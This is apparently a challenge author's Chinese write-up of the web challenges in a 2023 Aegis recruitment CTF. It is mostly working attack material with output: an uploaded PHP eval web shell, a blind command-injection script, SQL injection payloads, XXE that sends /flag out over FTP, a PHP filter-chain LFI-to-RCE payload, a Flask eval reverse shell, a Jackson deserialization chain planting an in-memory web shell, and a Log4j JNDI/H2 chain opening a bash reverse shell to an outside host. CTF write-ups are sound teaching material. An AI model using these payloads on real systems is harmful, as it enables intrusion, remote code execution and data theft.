Aegis Recruit 2023 Web WriteUp

前言

这是 2023.9.8-2023.10.8 工作室招新赛的题,本人出了一些题目,Web 类型的题解如下。

ClickMe

在浏览器地址栏按 F12 移除 style 中的 pointer-events: none; 再点击中间的文本即可。(注意我 ban 了 f12 和 ctrl+u,只是在页面上 ban,在浏览器地址栏还是可以按出来的)

或者直接在控制台运行:

decryptString("sUUZAKeV\x03S]^\x01oF\\m\x02}\x01\x01osV\vYAl`UQAGYF\x12O","2023")

就会弹出 flag:

chrome_ghHSYjxVIi

Aegis{We1com3_to_2O23_Ae9is_Recruit!}

Get&Post

这题就是考察大家会不会发包罢了。

chrome_RMdtK9qDGq

发送如下请求包:

curl -v -X HEAD http://139.9.212.160:18089/?a=1 -d b=1

即可在响应包中看到回复

Set-Cookie: flag=Aegis{GET&P0ST'did_u_get_1t?}; Path=/

Spider

这题考察大家会不会写爬虫。

chrome_xc4pLLsmVC

一个脚本即可:

import requests
import re
import time

comp = re.compile(r'<div class="next-page">Oh no! Flag has been moved to: <i class="fas fa-arrow-circle-right icon"></i> (.*?)</div>')
path = 'index.html'

while 1:
    url = f'http://139.9.212.160:19001/{path}'
    resp = requests.get(url)
    resp_text = resp.text
    m = comp.findall(resp_text)
    if m:
        path = m[0]
        print(path)
        resp.close()
        time.sleep(0.3)
    else:
        print('found the flag, path is ' + path)
        break

Upload

非常简单的文件上传题目。后端没有任何检测。上传 PHP 木马即可。

root@LAPTOP-B9A811D6:/tmp# cat shell.php
<?php
@eval($_REQUEST[1]);
?>
root@LAPTOP-B9A811D6:/tmp# curl -v http://139.9.212.160:18086/ -F "file=@/tmp/shell.php" | grep images
*   Trying 139.9.212.160:18086...
* TCP_NODELAY set
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0* Connected to 139.9.212.160 (139.9.212.160) port 18086 (#0)
> POST / HTTP/1.1
> Host: 139.9.212.160:18086
> User-Agent: curl/7.68.0
> Accept: */*
> Content-Length: 231
> Content-Type: multipart/form-data; boundary=------------------------5a2484ac93bb6b0a
>
} [231 bytes data]
* We are completely uploaded and fine
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Server: nginx/1.25.1
< Date: Mon, 09 Oct 2023 08:06:35 GMT
< Content-Type: text/html; charset=UTF-8
< Transfer-Encoding: chunked
< Connection: keep-alive
< X-Powered-By: PHP/8.2.8
<
{ [1720 bytes data]
100  1939    0  1708  100   231   7028    950 --:--:-- --:--:-- --:--:--  8012
* Connection #0 to host 139.9.212.160 left intact
          <div class="alert alert-info">图片上传成功!保存路径:images/6523b48b6e216.php</div>
root@LAPTOP-B9A811D6:/tmp# curl 'http://139.9.212.160:18086/images/6523b48b6e216.php?1=system("ls%20/");'
bin
boot
dev
etc
flag
home
lib
lib32
lib64
libx32
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
root@LAPTOP-B9A811D6:/tmp# curl 'http://139.9.212.160:18086/images/6523b48b6e216.php?1=system("cat%20/flag");'
Aegis{Did'u'_see^some_n!ce_pictures?}

Play

Shule 最近在学习 Git,但是他好像搞错了些什么….

根据题目描述很容易知道是考察 git 泄露

┌──(root㉿LAPTOP-B9A811D6)-[/tmp]
└─# curl  http://139.9.212.160:18087/.git/ -v
* processing: http://139.9.212.160:18087/.git/
*   Trying 139.9.212.160:18087...
* Connected to 139.9.212.160 (139.9.212.160) port 18087
> GET /.git/ HTTP/1.1
> Host: 139.9.212.160:18087
> User-Agent: curl/8.2.1
> Accept: */*
>
< HTTP/1.1 403 Forbidden
< Server: nginx/1.25.1
< Date: Mon, 09 Oct 2023 08:17:07 GMT
< Content-Type: text/html
< Content-Length: 153
< Connection: keep-alive
<
<html>
<head><title>403 Forbidden</title></head>
<body>
<center><h1>403 Forbidden</h1></center>
<hr><center>nginx/1.25.1</center>
</body>
</html>
* Connection #0 to host 139.9.212.160 left intact

这里简单使用 githacker 工具

githacker --url http://139.9.212.160:18087/.git/ --output-folder ./result

然后就是考察一些简单的 GIT 命令操作

┌──(root㉿LAPTOP-B9A811D6)-[/tmp/result/670ac1480a45c197d540544725e87895]
└─# cat flag.php
<?php
header('Location: https://www.bilibili.com/video/BV1uT4y1P7CX/?spm_id_from=333.337.search-card.all.click')
?>

┌──(root㉿LAPTOP-B9A811D6)-[/tmp/result/670ac1480a45c197d540544725e87895]
└─# git log
commit f44ac2f8d77502ce2621d81c418089c5ecc5b433 (HEAD -> master, origin/master, origin/HEAD)
Author: root <[email protected]>
Date:   Thu Jul 20 14:33:02 2023 +0800

    Oops, rm the flag to avoid unnecessary trouble

commit a242823fe647c261c657ee5d678a6110b401944f
Author: root <[email protected]>
Date:   Thu Jul 20 14:32:30 2023 +0800

    init

┌──(root㉿LAPTOP-B9A811D6)-[/tmp/result/670ac1480a45c197d540544725e87895]
└─# git checkout a242823fe647c261c657ee5d678a6110b401944f
Note: switching to 'a242823fe647c261c657ee5d678a6110b401944f'.

You are in 'detached HEAD' state. You can look around, make experimental
changes and commit them, and you can discard any commits you make in this
state without impacting any branches by switching back to a branch.

If you want to create a new branch to retain commits you create, you may
do so (now or later) by using -c with the switch command. Example:

  git switch -c <new-branch-name>

Or undo this operation with:

  git switch -

Turn off this advice by setting config variable advice.detachedHead to false

HEAD is now at a242823 init

┌──(root㉿LAPTOP-B9A811D6)-[/tmp/result/670ac1480a45c197d540544725e87895]
└─# cat flag.php
<?php
$flag = "Aegis{pa1y_f0r_.git!}";
header('Location: https://www.bilibili.com/video/BV1uT4y1P7CX/?spm_id_from=333.337.search-card.all.click')
?>

Ez-Shell

代码如下:

<?php    
    highlight_file(__FILE__);
    error_reporting(0);
    // Everything you want is in the root directory!
    shell_exec($_POST['cmd']);
?>

很 ez,很直接,核心代码就一行 shell_exec($_POST['cmd']); 。但是经过测试后会发现无权限写 web shell,也不出网。直接写个时间盲注脚本即可。当时设置的是环境每 30 min 重启,想着玩家用暴力枚举的方式会很困难,但是观察了一下日志,几乎都是每秒钟四五十个请求。

下面给出解题脚本,测了一下大概需要 17 分钟即可跑完 cat /f1@g,每秒钟发六到七个请求:

# -*- coding: utf-8 -*-
"""
Created on Wed Oct 17 2023
@author: Shule
"""

import base64
from datetime import datetime
import time

url = "http://139.9.212.160:19099/s7ell.asp"

result = ""
import requests

for row in range(1, 30):
    for column in range(1, 200):
        left = 32
        right = 126
        cmd = 'cat /f1@g'
        while left < right:
            mid = int((left + right + 1) / 2)
            cmds = f"if [[ {cmd}|sed 's/ /_/g'|sed ':a;N;$!ba;s/\\n/,/g'|awk NR=={row}| cut -c {column} > \\{chr(mid)} ]] || [[ {cmd}|sed 's/ /_/g'|sed ':a;N;$!ba;s/\\n/,/g'|awk NR=={row}| cut -c {column} == \\{chr(mid)} ]]; then sleep 2; fi"
            cmds = base64.b64encode(cmds.encode("utf-8"))
            cmds = cmds.decode("utf-8")
            payload = f"""echo {cmds}|base64 -d|/bin/bash"""
            data = {
                "cmd": payload
            }
            start = int(datetime.now().timestamp() * 1000)
            resp = requests.post(url=url, data=data)
            end = int(datetime.now().timestamp() * 1000)
            if end - start > 2000:
                left = mid
            else:
                right = mid - 1
#            time.sleep(0.2)
        if right != 32:
            result += chr(right)
            print(result)
        else:
            break

Motto

考点:SQLi

看了大家的题解才发现我 flag 表的列名设置的那么简单。我当时出题的想法就是让大家猜不到列名,用个 *

这题 ban 掉了 ()information

完整步骤:

#0 通过联合注入可以测的出三个列,并且回显在第二个位置。至于为什么第三个位置没有回显,其实是因为第三个位置我是用 base64_decode 进行输出的

chrome_HbxPEBu6Bt

#1 这里可以简单的测获得数据库的版本号和一些信息
0' union select 1,@@version,3#

chrome_mk3kQ3QcO7

虽然 ban 掉了 information,但我们还是可以通过 innodb_table_stats 获得我们的数据库和表内容。

#2 获得库名,可以知道 flag 在 flag_in_h3re 数据库中
0' union SELECT 1,database_name,3 FROM mysql.innodb_table_stats LIMIT 1,1#

chrome_C1W3vN8FfS

#3 获得表名,同样的 mysql.innodb_table_stats 中保存着数据库所有的表名,可以知道在 flag_table 中
0' union SELECT 1,table_name,3 FROM mysql.innodb_table_stats LIMIT 1,1#

chrome_xRSvrsXZmk

#4 由于不知道 flag 的列名,因此可以测试一下 * 号。注意这里的联合注入要求列的属性一致,调换 * 号是不行的,我第一张用户表中是三列,索引+用户名+格言,flag 表则是索引+varchar 类型。
# 下面的 payload 大概是这样 select * from users where id = '0' UNION SELECT *,1 FROM flag_in_h3re.flag_table limit 0,1#
# 如果你调换了 * 和 1 的位置,则会导致 flag 表的索引 Int 型匹配到了 users 表的 username (varchar 类型)
0' union SELECT *,1 FROM flag_in_h3re.flag_table limit 0,1#

chrome_JGK4249BzQ

当然由于我的列名设的简单了,大家完全可以猜到是 flag

0' union SELECT 1,flag,3 FROM flag_in_h3re.flag_table limit 0,1#

unfinished_site

我居然忘记让 flag 换行了。记住,用 http 进行外带数据如果目标文件存在换行是读不到的,跟 http url 性质有关,而且 ftp 协议的话读取的字符数更多

考点:简单的 XXE 盲注。不过需要注意目标环境是 java 而不是 php。注入点就是登录页面,当你用用户名登录的时候就会发送 xml 内容

mstsc_5mQ3oSvpzL

下面直接开始做题

首先编写 xml.dtd 文件

<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % start "<!ENTITY &#x25; send SYSTEM 'ftp://ftp:ftp@ip:port1/%file;'>">

然后起一个 http 服务,使得外部可以访问的到。

python3 -m http.server port2

接着在开启一个 ftp 服务

from pyftpdlib.authorizers import DummyAuthorizer
from pyftpdlib.handlers import FTPHandler
from pyftpdlib.servers import FTPServer

class CustomFTPHandler(FTPHandler):
    def on_file_received(self, file):
        # 当文件上传完成时记录上传的文件路径
        print(f"Uploaded file: {file}")

    def on_file_sent(self, file):
        # 当文件下载完成时记录下载的文件路径
        print(f"Downloaded file: {file}")

# 创建一个用户认证器
authorizer = DummyAuthorizer()
authorizer.add_user("ftp", "ftp", "/tmp", perm="elradfmw")

# 创建FTP处理程序
handler = CustomFTPHandler
handler.authorizer = authorizer

# 配置主动模式的端口范围
handler.passive_ports = range(10000, 10100)

# 创建FTP服务器实例并启动
server = FTPServer(("0.0.0.0", port1), handler)
server.serve_forever()

然后 POST 传值 (记得 url 编码)

<?xml version="1.0"?><!DOCTYPE Note [<!ENTITY % remote SYSTEM "http://ip:port2/xml.dtd">%remote;%start;%send;]>

mstsc_N2xeYLkJSr

可以发现即使内容换行了也可以获得

WindowsTerminal_z1fMnviWFZ

IncludeMe

点击页面可以看到除了这句话没有别的信息了

chrome_RxSgNwfswT

但用 burp 可以很容易看到响应头为 X-Powered-By: PHP/7.3.33

参考 https://blog.projectdiscovery.io/php-http-server-source-disclosure/ 尝试即可获得 index.php 源码

BurpSuiteCommunity_W4xrcmNDLU

很容易发现是一个文件包含题目,根据提示传入 ?fil3=phpinfo 就可查看 phpinfo 页面,这里只需要关注 open_basedirdisable_functions 就好。

open_basedir: /var/www/html/:/tmp/

disable_functions:

passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv

然后就是 LFI2RCE 传入:

http://139.9.212.160:18082/?fil3=php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500.L4|convert.iconv.ISO_8859-2.ISO-IR-103|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UTF-16|convert.iconv.ISO6937.UTF16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500.L4|convert.iconv.ISO_8859-2.ISO-IR-103|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500-1983.UCS-2BE|convert.iconv.MIK.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-4LE.OSF05010001|convert.iconv.IBM912.UTF-16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.ISO_69372.CSIBM921|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500-1983.UCS-2BE|convert.iconv.MIK.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=php://temp

并且 POST 传入

1=file_put_contents('/tmp/shu1e.txt','<?php eval($_POST[1]);?>');

然后就是用蚁剑连接,简单绕过 open_basedir 和 disable_funtions 就行了

rock-paper-scissors

点击页面中的某个按钮,可以发现发送了 guess=rock 数据

chrome_qmqQFiGNgt

稍微修改一下发现 Flask Debug 的报错页面

chrome_ttFsUHj5a3

很容易知道 eval 注入点,可以猜测 Game 是一个 class。可以传入一下内容进行命令执行,但是没有回显可以用反弹 shell:

guess=__eq__(eval("__import__('os').popen('echo base64内容|base64 -d|/bin/bash')"))#

不过最好是在 burp suite 上进行 url 编码发包

mstsc_KsbNeZvGTx

监听即可

WindowsTerminal_25bP5vGxFo

TransforMe

主要考点:不出网简单打个 SpringBoot 内存马即可。利用 JackSon 链。

通过给的 docker-compose.yml 可以知道目标环境不出网

给了个 jar 包,反编译一下发现依赖版本号:

javaw_PJOQWNmmsE

审计代码发现首先我们需要绕过第一层限制:

javaw_GfjHghK06X

什么数字在 Java 中用了绝对值函数还能小于 0 呢?简单搜索一下还是可以知道是 -2147483648

接下来就是反序列化漏洞的利用了

public class Exp {
    public static void main(String[] args) throws Exception {
        CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");
        CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");
        ctClass.removeMethod(writeReplace);
        ctClass.toClass();

        byte[] code= Files.readAllBytes(Paths.get("shell.class"));
        byte[][] codes={code};
        TemplatesImpl templatesImpl = new TemplatesImpl();
        setFieldValue(templatesImpl, "_bytecodes", codes);
        setFieldValue(templatesImpl, "_name", "TemplatesImpl");
        setFieldValue(templatesImpl, "_tfactory", null);

        AdvisedSupport advisedSupport = new AdvisedSupport();
        advisedSupport.setTarget(templatesImpl);
        Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class);
        constructor.setAccessible(true);
        InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport);

        Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Templates.class}, handler);
        POJONode node = new POJONode(proxy);

        BadAttributeValueExpException val = new BadAttributeValueExpException(null);
        setFieldValue(val, "val", node);

        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(val);
        objectOutputStream.close();
        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
        System.out.println(Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray()));
        byteArrayInputStream.close();
        //new ObjectInputStream(byteArrayInputStream).readObject();
    }
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

shell.class (回显)的内容如下:

public class Shell  extends AbstractTranslet implements HandlerInterceptor {
    static {
        WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);

        AbstractHandlerMapping abstractHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
        try {
            Field adaptedInterceptorsField = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
            adaptedInterceptorsField.setAccessible(true);
            List<HandlerInterceptor> adaptedInterceptors = (List<HandlerInterceptor>)adaptedInterceptorsField.get(abstractHandlerMapping);
            adaptedInterceptors.add(new Exp());
        } catch (NoSuchFieldException e) {
            e.printStackTrace();
        } catch (IllegalAccessException e) {
            e.printStackTrace();
        }
    }

    @Override
    public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception{
        String cmd = request.getParameter("cmd");
        if (cmd!=null) {
            try {
                response.setContentType("text/html; charset=UTF-8");
                PrintWriter writer = response.getWriter();
                InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();
                //将命令执行结果写入扫描器并读取所有输入
                java.util.Scanner scanner = new java.util.Scanner(in).useDelimiter("\\A");
                String result = scanner.hasNext()?scanner.next():"";
                scanner.close();
                writer.write(result);
                writer.flush();
                writer.close();
                return false;
            } catch (IOException e) {
                e.printStackTrace();
            } catch (NullPointerException n) {
                n.printStackTrace();
            }
        }
        return true;
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

最终:

firefox_gaiRBmSoFa

LogMe

这题需要每 5min 重启一次,因为每次打出 jndi 注入都会破坏环境

题目首先还是给了个 jar 包,我们反编译后可以发现目标编译和运行环境都是 jdk17,并且还是用 jetty 启动的 Web 服务器

javaw_JKWcuHtcVO

引入了 log4j2 这个是存在 jndi 注入的版本,而且还引入了 fastjson 和 h2database,不过版本比较新,并没有这个依赖导致的直接漏洞。

再审一下发现 Servlet 很简单,整个项目也只有几个类

javaw_QKg7kRkWsC

不过在过滤器中可以看到,运用了 log4j2,而且我们可以通过 xff 头作为 jndi 的触发点

javaw_Pv3HsDQcN2

但很明显,jdk17 的 jndi 注入难以利用。我们再看看十分诡异的 GetConnect 类,这个类中保存了 driver 和 url 两个变量,看样子是可以给我们通过传入 driver 类和 url 进行 jdbc 的连接。参考 https://blog.pyn3rd.com/2022/06/06/Make-JDBC-Attacks-Brillian-Again-I/ 我们不难想到如果我们能够控制 driver 写为 h2 以及 jdbc-url 当调用这个类中的 getConnection 方法的时候就会造成 RCE。

javaw_R6RNrEJ7hS

可是我们怎么能够触发 getConnection 方法呢?还记得目标环境中存在 fastjson 方法吗,参考 https://y4tacker.github.io/2023/03/20/year/2023/3/FastJson%E4%B8%8E%E5%8E%9F%E7%94%9F%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/#%E5%88%A9%E7%94%A8%E4%B8%8E%E9%99%90%E5%88%B6 可知,JSONObject 在触发 toString 方法的时候也就会调用 Node 的 getter 方法。而触发 toString 方法虽然在 jdk17 中 BadAttributeValueExpException 的 val 属性已经不再是 Object 而是 String 类了,如果反射赋值的话会出错。但我们可以通过 GetConnect#readObejct->logger.info->this.diver.toString

分析后我们不难可以先构造出序列化数据:

    @Test
    public void poc() throws Exception {
        GetConnect myConnect = new GetConnect();
        setValue(myConnect,"driver","org.h2.Driver");
        setValue(myConnect,"url","jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(cmd)\\;return \"test\"\\;}'\\;CALL EXEC('bash -c $@|bash 0 echo bash -i >& /dev/tcp/18.176.183.3/18192 0>&1')");
        System.out.println(myConnect);
        JSONArray jsonArray = new JSONArray();
        jsonArray.add(myConnect);
        GetConnect myConnect1 = new GetConnect();
        setValue(myConnect1,"driver",jsonArray);

        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(myConnect1);
        objectOutputStream.close();
        byte[] bytes = byteArrayOutputStream.toByteArray();
        Base64.Encoder encoder = Base64.getEncoder();
        String s = encoder.encodeToString(bytes);
        System.out.println(s);
    }
    public static void setValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

但是怎么触发反序列化呢?我们可以通过 jndi 的方法进行触发。

首先搭建一个 jndi 服务器

package org.example;

import com.unboundid.util.Base64;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
import java.text.ParseException;

public class JNDIGadgetServer {

    private static final String LDAP_BASE = "dc=example,dc=com";

    public static void main (String[] args) {

        String url = "http://127.0.0.1:8000/#ExportObject";
        int port = 12345;

        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen",
                    InetAddress.getByName("0.0.0.0"),
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));

            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port);
            ds.startListening();

        }
        catch ( Exception e ) {
            e.printStackTrace();
        }
    }

    private static class OperationInterceptor extends InMemoryOperationInterceptor {

        private URL codebase;

        public OperationInterceptor ( URL cb ) {
            this.codebase = cb;
        }

        @Override
        public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            }
            catch ( Exception e1 ) {
                e1.printStackTrace();
            }

        }

        protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
            e.addAttribute("javaClassName", "Exploit");
            String cbstring = this.codebase.toString();
            int refPos = cbstring.indexOf('#');
            if ( refPos > 0 ) {
                cbstring = cbstring.substring(0, refPos);
            }

// 填写序列化数据
            try {
                e.addAttribute("javaSerializedData", Base64.decode("rO0ABXNyACBzaG93LmFnZWlzLmxvZ21lLnV0aWwuR2V0Q29ubmVjdEXuZD8MzW1kAgACTAAGZHJpdmVydAASTGphdmEvbGFuZy9PYmplY3Q7TAADdXJsdAASTGphdmEvbGFuZy9TdHJpbmc7eHBzcgAeY29tLmFsaWJhYmEuZmFzdGpzb24uSlNPTkFycmF5Mo4G5Gcx8LACAAFMAARsaXN0dAAQTGphdmEvdXRpbC9MaXN0O3hwc3IAH2NvbS5hbGliYWJhLmZhc3Rqc29uMi5KU09OQXJyYXkAAAAAAAAAAQIAAHhyABNqYXZhLnV0aWwuQXJyYXlMaXN0eIHSHZnHYZ0DAAFJAARzaXpleHAAAAABdwQAAAABc3EAfgAAdAANb3JnLmgyLkRyaXZlcnQBB2pkYmM6aDI6bWVtOnRlc3RkYjtUUkFDRV9MRVZFTF9TWVNURU1fT1VUPTM7SU5JVD1DUkVBVEUgQUxJQVMgRVhFQyBBUyAnU3RyaW5nIHNoZWxsZXhlYyhTdHJpbmcgY21kKSB0aHJvd3MgamF2YS5pby5JT0V4Y2VwdGlvbiB7UnVudGltZS5nZXRSdW50aW1lKCkuZXhlYyhjbWQpXDtyZXR1cm4gInRlc3QiXDt9J1w7Q0FMTCBFWEVDKCdiYXNoIC1jICRAfGJhc2ggMCBlY2hvIGJhc2ggLWkgPiYgL2Rldi90Y3AvMC50Y3AuanAubmdyb2suaW8vMTgxOTIgMD4mMScpeHA="));

            } catch (ParseException exception) {
                exception.printStackTrace();
            }

            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }

    }
}

Payload:

${jndi:ldap://0.tcp.ap.ngrok.io:19632/ExportObject}

WindowsTerminal_PELgl2YX4L

